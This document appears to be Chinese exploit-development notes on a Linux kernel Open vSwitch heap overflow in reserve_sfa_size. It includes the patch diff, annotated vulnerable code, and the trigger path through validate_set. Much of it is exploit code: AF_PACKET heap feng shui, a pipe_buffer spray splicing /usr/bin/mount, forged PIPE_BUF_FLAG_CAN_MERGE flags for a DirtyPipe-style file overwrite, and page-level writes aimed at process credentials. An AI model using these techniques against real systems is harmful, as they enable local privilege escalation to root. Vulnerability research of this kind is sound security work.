// 依赖
CONFIG_INET=y
# CONFIG_NF_CONNTRACK is not set
CONFIG_LIBCRC32C=y
CONFIG_MPLS=y
CONFIG_NET_MPLS_GSO=y
CONFIG_DST_CACHE=y
CONFIG_NET_NSH=y
// net/openvswitch/Kconfig
config OPENVSWITCH
	tristate "Open vSwitch"
	depends on INET
	depends on !NF_CONNTRACK || \
		   (NF_CONNTRACK && ((!NF_DEFRAG_IPV6 || NF_DEFRAG_IPV6) && \
				     (!NF_NAT || NF_NAT) && \
				     (!NETFILTER_CONNCOUNT || NETFILTER_CONNCOUNT)))
	select LIBCRC32C
	select MPLS
	select NET_MPLS_GSO
	select DST_CACHE
	select NET_NSH
// 在对应 menu item 上按 h 即可显示依赖和配置方案
  ┌────────────────────────────────────────────────────── Open vSwitch ──────────────────────────────────────────────────────┐
  │ Open vSwitch is a multilayer Ethernet switch targeted at virtualized                                                     │  
  │ environments.  In addition to supporting a variety of features                                                           │  
  │ expected in a traditional hardware switch, it enables fine-grained                                                       │  
  │ programmatic extension and flow-based control of the network.  This                                                      │  
  │ control is useful in a wide variety of applications but is                                                               │  
  │ particularly important in multi-server virtualization deployments,                                                       │  
  │ which are often characterized by highly dynamic endpoints and the                                                        │  
  │ need to maintain logical abstractions for multiple tenants.                                                              │  
  │                                                                                                                          │  
  │ The Open vSwitch datapath provides an in-kernel fast path for packet                                                     │  
  │ forwarding.  It is complemented by a userspace daemon, ovs-vswitchd,                                                     │  
  │ which is able to accept configuration from a variety of sources and                                                      │  
  │ translate it into packet processing rules.                                                                               │  
  │                                                                                                                          │  
  │ See http://openvswitch.org for more information and userspace                                                            │  
  │ utilities.                                                                                                               │  
  │                                                                                                                          │  
  │ To compile this code as a module, choose M here: the module will be                                                      │  
  │ called openvswitch.                                                                                                      │  
  │                                                                                                                          │  
  │ If unsure, say N.                                                                                                        │  
  │                                                                                                                          │  
  │ Symbol: OPENVSWITCH [=m]                                                                                                 │  
  │ Type  : tristate                                                                                                         │  
  │ Defined at net/openvswitch/Kconfig:6                                                                                     │  
  │   Prompt: Open vSwitch                                                                                                   │  
  │   Depends on: NET [=y] && INET [=y] && (!NF_CONNTRACK [=m] || NF_CONNTRACK [=m] && (!NF_DEFRAG_IPV6 [=m] || \            │  
  │ NF_DEFRAG_IPV6 [=m]) && (!NF_NAT [=m] || NF_NAT [=m]) && (!NETFILTER_CONNCOUNT [=m] || NETFILTER_CONNCOUNT [=m]))        │  
  │   Location:                                                                                                              │  
  │     Main menu                                                                                                            │  
  │       -> Networking support (NET [=y])                                                                                   │  
  │         -> Networking options                                                                                            │  
  │ Selects: LIBCRC32C [=y] && MPLS [=y] && NET_MPLS_GSO [=y] && DST_CACHE [=y] && NET_NSH [=y]                              │  
  │                                                                                             

$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v5.x/linux-5.17.4.tar.xz
$ tar -xvf linux-5.17.4.tar.xz
# KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 编译出的bzImage目录：/arch/x86/boot/bzImage。

@@ -2465,7 +2465,7 @@ static struct nlattr *reserve_sfa_size(struct sw_flow_actions **sfa,
	new_acts_size = max(next_offset + req_size, ksize(*sfa) * 2);

	if (new_acts_size > MAX_ACTIONS_BUFSIZE) {
-		if ((MAX_ACTIONS_BUFSIZE - next_offset) < req_size) {
+       if ((next_offset + req_size) > MAX_ACTIONS_BUFSIZE) {
			OVS_NLERR(log, "Flow action size exceeds max %u",
				  MAX_ACTIONS_BUFSIZE);
			return ERR_PTR(-EMSGSIZE);

static int __ovs_nla_copy_actions(struct net *net, const struct nlattr *attr,
				  const struct sw_flow_key *key,
				  struct sw_flow_actions **sfa,
				  __be16 eth_type, __be16 vlan_tci,
				  u32 mpls_label_count, bool log)
{
	u8 mac_proto = ovs_key_mac_proto(key);
	const struct nlattr *a;
	int rem, err;

	nla_for_each_nested(a, attr, rem) {
		/* Expected argument lengths, (u32)-1 for variable length. */
		static const u32 action_lens[OVS_ACTION_ATTR_MAX + 1] = {
			[OVS_ACTION_ATTR_OUTPUT] = sizeof(u32),
			[OVS_ACTION_ATTR_RECIRC] = sizeof(u32),
			[OVS_ACTION_ATTR_USERSPACE] = (u32)-1,
			[OVS_ACTION_ATTR_PUSH_MPLS] = sizeof(struct ovs_action_push_mpls),
			[OVS_ACTION_ATTR_POP_MPLS] = sizeof(__be16),
			[OVS_ACTION_ATTR_PUSH_VLAN] = sizeof(struct ovs_action_push_vlan),
			[OVS_ACTION_ATTR_POP_VLAN] = 0,
			[OVS_ACTION_ATTR_SET] = (u32)-1,
			[OVS_ACTION_ATTR_SET_MASKED] = (u32)-1,
			[OVS_ACTION_ATTR_SAMPLE] = (u32)-1,
			[OVS_ACTION_ATTR_HASH] = sizeof(struct ovs_action_hash),
			[OVS_ACTION_ATTR_CT] = (u32)-1,
			[OVS_ACTION_ATTR_CT_CLEAR] = 0,
			[OVS_ACTION_ATTR_TRUNC] = sizeof(struct ovs_action_trunc),
			[OVS_ACTION_ATTR_PUSH_ETH] = sizeof(struct ovs_action_push_eth),
			[OVS_ACTION_ATTR_POP_ETH] = 0,
			[OVS_ACTION_ATTR_PUSH_NSH] = (u32)-1,
			[OVS_ACTION_ATTR_POP_NSH] = 0,
			[OVS_ACTION_ATTR_METER] = sizeof(u32),
			[OVS_ACTION_ATTR_CLONE] = (u32)-1,
			[OVS_ACTION_ATTR_CHECK_PKT_LEN] = (u32)-1,
			[OVS_ACTION_ATTR_ADD_MPLS] = sizeof(struct ovs_action_add_mpls),
			[OVS_ACTION_ATTR_DEC_TTL] = (u32)-1,
		};
		const struct ovs_action_push_vlan *vlan;
		int type = nla_type(a);
		bool skip_copy;

		if (type > OVS_ACTION_ATTR_MAX ||
		    (action_lens[type] != nla_len(a) &&
		     action_lens[type] != (u32)-1))
			return -EINVAL;

		skip_copy = false;
		switch (type) {
		case OVS_ACTION_ATTR_UNSPEC:
			return -EINVAL;
        ...
        case OVS_ACTION_ATTR_DEC_TTL:
			err = validate_and_copy_dec_ttl(net, a, key, sfa,
							eth_type, vlan_tci,
							mpls_label_count, log);
			if (err)
				return err;
			skip_copy = true;
			break;

		default:
			OVS_NLERR(log, "Unknown Action type %d", type);
			return -EINVAL;
		}
		if (!skip_copy) {
			err = copy_action(a, sfa, log);			// [1] 对不同的 actions 信息分类进行拷贝
			if (err)
				return err;
		}
	}
	...
}

static int copy_action(const struct nlattr *from,
		       struct sw_flow_actions **sfa, bool log)
{
	int totlen = NLA_ALIGN(from->nla_len);
	struct nlattr *to;

	to = reserve_sfa_size(sfa, from->nla_len, log);	// [2] 漏洞函数
	if (IS_ERR(to))
		return PTR_ERR(to);

	memcpy(to, from, totlen);						// [3] 溢出点!!!!! 这里是拷贝 action 后面的数据
	return 0;
}

static struct nlattr *reserve_sfa_size(struct sw_flow_actions **sfa,
				       int attr_len, bool log)
{

	struct sw_flow_actions *acts;
	int new_acts_size;
	size_t req_size = NLA_ALIGN(attr_len);							// req_size = (nlattr->nla_len)
	int next_offset = offsetof(struct sw_flow_actions, actions) +	// next_offset = (sizeof(*sfa) + (*sfa)->actions_len)
					(*sfa)->actions_len;							// offsetof() - 一个结构成员相对于结构开头的字节偏移量

	if (req_size <= (ksize(*sfa) - next_offset))
		goto out;

	new_acts_size = max(next_offset + req_size, ksize(*sfa) * 2);

	if (new_acts_size > MAX_ACTIONS_BUFSIZE) {
		if ((MAX_ACTIONS_BUFSIZE - next_offset) < req_size) {	// [2-1] next_offset 为有符号, req_size 为无符号。 左边可能有 MAX_ACTIONS_BUFSIZE < next_offset, 相减可能为负数, 导致整数溢出, 绕过本检查。        MAX_ACTIONS_BUFSIZE = 0x8000
			OVS_NLERR(log, "Flow action size exceeds max %u",
				  MAX_ACTIONS_BUFSIZE);
			return ERR_PTR(-EMSGSIZE);
		}
		new_acts_size = MAX_ACTIONS_BUFSIZE;					// [2-2] new_acts_size = 0x8000
	}

	acts = nla_alloc_flow_actions(new_acts_size);				// [2-3] 分配新的buffer (分配得到 0x10000 大小的堆块)
	if (IS_ERR(acts))
		return (void *)acts;

	memcpy(acts->actions, (*sfa)->actions, (*sfa)->actions_len);// [2-4] 先拷贝 action 数据
	acts->actions_len = (*sfa)->actions_len;
	acts->orig_len = (*sfa)->orig_len;
	kfree(*sfa);
	*sfa = acts;

out:
	(*sfa)->actions_len += req_size;
	return  (struct nlattr *) ((unsigned char *)(*sfa) + next_offset);	// [2-5] 返回 buffer+next_offset 地址
}

static struct sw_flow_actions *nla_alloc_flow_actions(int size)
{
	struct sw_flow_actions *sfa;

	WARN_ON_ONCE(size > MAX_ACTIONS_BUFSIZE);

	sfa = kmalloc(sizeof(*sfa) + size, GFP_KERNEL);				// [2-3-1] 分配大小为 0x8000+0x20 (头部是sw_flow_actions对象), 对齐后实际会分配得到 0x10000 堆块
	if (!sfa)
		return ERR_PTR(-ENOMEM);

	sfa->actions_len = 0;
	return sfa;
}

/*
 *  <------- NLA_HDRLEN ------> <-- NLA_ALIGN(payload)-->
 * +---------------------+- - -+- - - - - - - - - -+- - -+
 * |        Header       | Pad |     Payload       | Pad |
 * |   (struct nlattr)   | ing |                   | ing |
 * +---------------------+- - -+- - - - - - - - - -+- - -+
 *  <-------------- nlattr->nla_len -------------->
 */

struct nlattr {		// 这个结构的 padding 值为 4 bytes
	__u16           nla_len;
	__u16           nla_type;
};
#define NLA_ALIGNTO		4
#define NLA_ALIGN(len)		(((len) + NLA_ALIGNTO - 1) & ~(NLA_ALIGNTO - 1))

		case OVS_ACTION_ATTR_CT:
			err = ovs_ct_copy_action(net, a, key, sfa, log);
			if (err)
				return err;
			skip_copy = true;
			break;

int ovs_ct_copy_action(struct net *net, const struct nlattr *attr,
		       const struct sw_flow_key *key,
		       struct sw_flow_actions **sfa,  bool log)
{
	struct ovs_conntrack_info ct_info;
	const char *helper = NULL;
	u16 family;
	int err;

	family = key_to_nfproto(key);
	if (family == NFPROTO_UNSPEC) {
		OVS_NLERR(log, "ct family unspecified");
		return -EINVAL;
	}

	memset(&ct_info, 0, sizeof(ct_info));
	ct_info.family = family;

	nf_ct_zone_init(&ct_info.zone, NF_CT_DEFAULT_ZONE_ID,
			NF_CT_DEFAULT_ZONE_DIR, 0);

	err = parse_ct(attr, &ct_info, &helper, log);					// [a] 根据 nlattr 结构解析出 ovs_conntrack_info 结构
	...
	err = ovs_nla_add_action(sfa, OVS_ACTION_ATTR_CT, &ct_info,		// [b] 
				 sizeof(ct_info), log);
	...
}

		case OVS_ACTION_ATTR_SET:
			err = validate_set(a, key, sfa,
					   &skip_copy, mac_proto, eth_type,
					   false, log);
			if (err)
				return err;
			break;

static int validate_set(const struct nlattr *a,
			const struct sw_flow_key *flow_key,
			struct sw_flow_actions **sfa, bool *skip_copy,
			u8 mac_proto, __be16 eth_type, bool masked, bool log)
{
	const struct nlattr *ovs_key = nla_data(a);					// [a] 取出内层嵌套的子 nlattr
	int key_type = nla_type(ovs_key);
	size_t key_len;

	/* There can be only one key in a action */
	if (nla_total_size(nla_len(ovs_key)) != nla_len(a))
		return -EINVAL;

	key_len = nla_len(ovs_key);									// [b] key_len = data length
	if (masked)														// OVS_ACTION_ATTR_SET 不会设置 masked
		key_len /= 2;

	if (key_type > OVS_KEY_ATTR_MAX ||
	    !check_attr_len(key_len, ovs_key_lens[key_type].len))	// [c] 检查 key_len 是否符合 type (OVS_KEY_ATTR_ETHERNET) 对应的结构大小
		return -EINVAL;

	if (masked && !validate_masked(nla_data(ovs_key), key_len))
		return -EINVAL;

	switch (key_type) {
	...
	case OVS_KEY_ATTR_ETHERNET:
		if (mac_proto != MAC_PROTO_ETHERNET)					// [d] 对 key_type == OVS_KEY_ATTR_ETHERNET 的检查很简单
			return -EINVAL;
		break;
    ...
	}

	/* Convert non-masked non-tunnel set actions to masked set actions. */
	if (!masked && key_type != OVS_KEY_ATTR_TUNNEL) {
		int start, len = key_len * 2;							// [e] !!!!!!!!!!! len 为 key_len 的两倍
		struct nlattr *at;

		*skip_copy = true;										// [f] 设置 skip_copy, 避免上层函数调用 copy_action()

		start = add_nested_action_start(sfa,
						OVS_ACTION_ATTR_SET_TO_MASKED,
						log);
		if (start < 0)
			return start;

		at = __add_action(sfa, key_type, NULL, len, log);		// [g] 调用 __add_action(), 传入的 len=2*key_len, 先保存在 sfa 中, 最后通过别的 nlattr 类型触发调用 `copy_action()` 将 `sw_flow_actions **sfa` 拷贝到漏洞对象中
		if (IS_ERR(at))
			return PTR_ERR(at);

		memcpy(nla_data(at), nla_data(ovs_key), key_len); /* Key. */
		memset(nla_data(at) + key_len, 0xff, key_len);    /* Mask. */
		/* Clear non-writeable bits from otherwise writeable fields. */
		if (key_type == OVS_KEY_ATTR_IPV6) {
			struct ovs_key_ipv6 *mask = nla_data(at) + key_len;

			mask->ipv6_label &= htonl(0x000FFFFF);
		}
		add_nested_action_end(*sfa, start);
	}

	return 0;
}

[OVS_KEY_ATTR_ETHERNET]	 = { .len = sizeof(struct ovs_key_ethernet) },

#define ETH_ALEN	6		/* Octets in one ethernet addr	 */
struct ovs_key_ethernet {
	__u8	 eth_src[ETH_ALEN];
	__u8	 eth_dst[ETH_ALEN];
};

#include <linux/if_packet.h>
#include <sys/socket.h>
#include <net/if.h>
#include <net/ethernet.h>

void packet_socket_rx_ring_init(int s, unsigned int block_size,
                                unsigned int frame_size, unsigned int block_nr,
                                unsigned int sizeof_priv, unsigned int timeout) {
    int v = TPACKET_V3;
    int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
    if (rv < 0) {
        die("setsockopt(PACKET_VERSION): %m");
    }

    struct tpacket_req3 req;
    memset(&req, 0, sizeof(req));
    req.tp_block_size = block_size;
    req.tp_frame_size = frame_size;
    req.tp_block_nr = block_nr;
    req.tp_frame_nr = (block_size * block_nr) / frame_size;
    req.tp_retire_blk_tov = timeout;
    req.tp_sizeof_priv = sizeof_priv;
    req.tp_feature_req_word = 0;

    rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
    if (rv < 0) {
        die("setsockopt(PACKET_RX_RING): %m");
    }
}

int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
                        unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
    int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (s < 0) {
        die("socket(AF_PACKET): %m");
    }

    packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
                               sizeof_priv, timeout);

    struct sockaddr_ll sa;
    memset(&sa, 0, sizeof(sa));
    sa.sll_family = PF_PACKET;
    sa.sll_protocol = htons(ETH_P_ALL);
    sa.sll_ifindex = if_nametoindex("lo");
    sa.sll_hatype = 0;
    sa.sll_pkttype = 0;
    sa.sll_halen = 0;

    int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
    if (rv < 0) {
        die("bind(AF_PACKET): %m");
    }

    return s;
}

int pagealloc_pad(int count, int size) {
    return packet_socket_setup(size, 2048, count, 0, 100);
}

int fd;

fd = pagealloc_pad(1, 0x10000) // 分配一个0x10000的chunk
close(fd) // 释放 chunk
    
fd = pagealloc_pad(100, 0x1000) // 分配 100 个 0x1000 的chunk
close(fd) // 一次性释放这个100个chunk

logd("do heap fengshui to reduce noise ...");
pagealloc_pad(1000, 0x1000);
pagealloc_pad(500, 0x2000);
pagealloc_pad(200, 0x4000);
pagealloc_pad(200, 0x8000);
pagealloc_pad(100, 0x10000);

#define fengshui_skfd_cnt (0x20)

int fengshui_skfd[fengshui_skfd_cnt];
for (int i = 0; i < fengshui_skfd_cnt; i++) {
	fengshui_skfd[i] = pagealloc_pad(1, 0x10000);
}
for (int i = 1; i < fengshui_skfd_cnt; i += 2) {
	close(fengshui_skfd[i]);
	fengshui_skfd[i] = -1;
}

#define ATTACK_FILE "/usr/bin/mount"

// filled with pipe_buffer
logd("spray pipe_buffer to re-acquire the 0x400 slab freed by skbuff_data");
int attack_fd = open(ATTACK_FILE, O_RDONLY);
if (attack_fd < 0) {
    die("open %s: %m", ATTACK_FILE);
}
for (int i = 0; i < NUM_PIPES; i++) {
    if (pipe(pipes[i])) {
        die("alloc pipe failed");
    }

    write(pipes[i][1], buff, 0x100 + i);

    loff_t offset = 1;
    ssize_t nbytes = splice(attack_fd, &offset, pipes[i][1], NULL, 1, 0);
    if (nbytes < 0) {
        die("splice() failed");
    }
}

// 堆喷伪造 pipe_buffer 的代码
logd("edit pipe_buffer->flags");
{
    memset(buff, 0, sizeof(buff));
    memcpy(buff, pipe_buffer_backup, sizeof(pipe_buffer_backup));
    struct typ_pipe_buffer *ptr = (struct typ_pipe_buffer *)buff;
    ptr[1].flags = PIPE_BUF_FLAG_CAN_MERGE; // for kernel >= 5.8
    ptr[1].len = 0;
    ptr[1].offset = 0;
    ptr[1].ops = ptr[0].ops; // for kernel < 5.8
    spray_skbuff_data(buff, 0x400 - 0x140);
    hexdump(buff, sizeof(struct typ_pipe_buffer) * 2);
}

const struct pipe_buf_operations page_cache_pipe_buf_ops = {
	.can_merge = 0,
	.confirm = page_cache_pipe_buf_confirm,
	.release = page_cache_pipe_buf_release,
	.steal = page_cache_pipe_buf_steal,
	.get = generic_pipe_buf_get,
};

static bool pipe_buf_can_merge(struct pipe_buffer *buf)
{
	return buf->ops == &anon_pipe_buf_ops;
}

struct pipe_buffer { 
       struct page *page; 			// 指向物理内存，也即 struct page 对象，所有的page对象都保存在一个叫做 `vmemmap_base` 的单链表中。当写入pipe时，内核使用 new page 来保存数据，该page可以splice 到其他pipe，或者通过pipe将内容从读端读取出来。
       unsigned int offset, len; 
       const struct pipe_buf_operations *ops; 	// 常用方法，覆盖后可用于劫持控制流
       unsigned int flags; 
       unsigned long private; 
}; 

static ssize_t pipe_write(struct kiocb *iocb, struct iov_iter *from) 
{ 
	... 
       for (;;) { 
	...
              if (!pipe_full(head, pipe->tail, pipe->max_usage)) { 
	...
                     struct page *page = pipe->tmp_page; 
	...
                     if (!page) { 
                            page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);	// [1] 分配 new page 物理页
                            if (unlikely(!page)) { 
                                   ret = ret ? : -ENOMEM; 
                                   break; 
                            } 
                            pipe->tmp_page = page; 
                     } 
	...
/* Insert it into the buffer array */ 
buf = &pipe->bufs[head & mask]; 
buf->page = page; 					// [2] new page 保存到 pipe_buffer->page
buf->ops = &anon_pipe_buf_ops; 
buf->offset = 0; 
buf->len = 0; 
	...
copied = copy_page_from_iter(page, 0, PAGE_SIZE, from); 	// [3] 拷贝用户数据

target_object page = vmemmap_base + ((0x100000000 >> 12) * 0x40) + (((target_object & 0xffffffff) >> 12) * 0x40)

uint64_t cred_page = virt_to_page(target_obj, vbase); 			// virt_to_page() 就是以上这个公式的实现
uint64_t cred_off = (target_obj & 0xfff); 
 
pbuf->page = (long *)cred_page; 
pbuf->offset = cred_off + 0x4; 
pbuf->len = 0; 
pbuf->ops = (long *)FAKE_OPS; 
pbuf->flags = PIPE_BUF_FLAG_CAN_MERGE; 
pbuf->private = 0; 
... 
write(dest_pipe.wr, zeroes, 0x20); 

void set_new_pipe_bufs_overwrite(char *buf, struct pipe_struct *overwrite, 
                                 char *obj_in_page, struct pipe_buffer *pbuf, 
                                 uint64_t new_page, uint32_t len, int *tail) 
{ 
    if(read(overwrite->read, buf, PAGE_SIZE) != PAGE_SIZE) 		// [1] read() 设置 overwriter 的 pipe_inode_info->tmp_page 指向 seeker `pipe_buffer` 对象所在的 page, 之后我们就能直接写入该 tmp_page
        error_out("read overwriter_pipe[0]"); 
 
    struct pipe_buffer *setpbuf = (struct pipe_buffer *) obj_in_page; 	// [2] 构造 new `pipe_buffer`
    setpbuf += (*tail) % 8; 
    (*tail)++;
    *setpbuf = *pbuf;
    setpbuf->page = (void *) new_page; 
    setpbuf->len = len; 
 
    if (write(overwrite->write, buf, PAGE_SIZE) != PAGE_SIZE) 	// [3] 通过 overwrite pipe 往 seeker `pipe_buffer` 写。内核会将指定内容写到 overwrite pipe 的 pipe_inode_info->tmp_page 指向的物理页
        error_out("write overwriter_pipe[1]"); 
}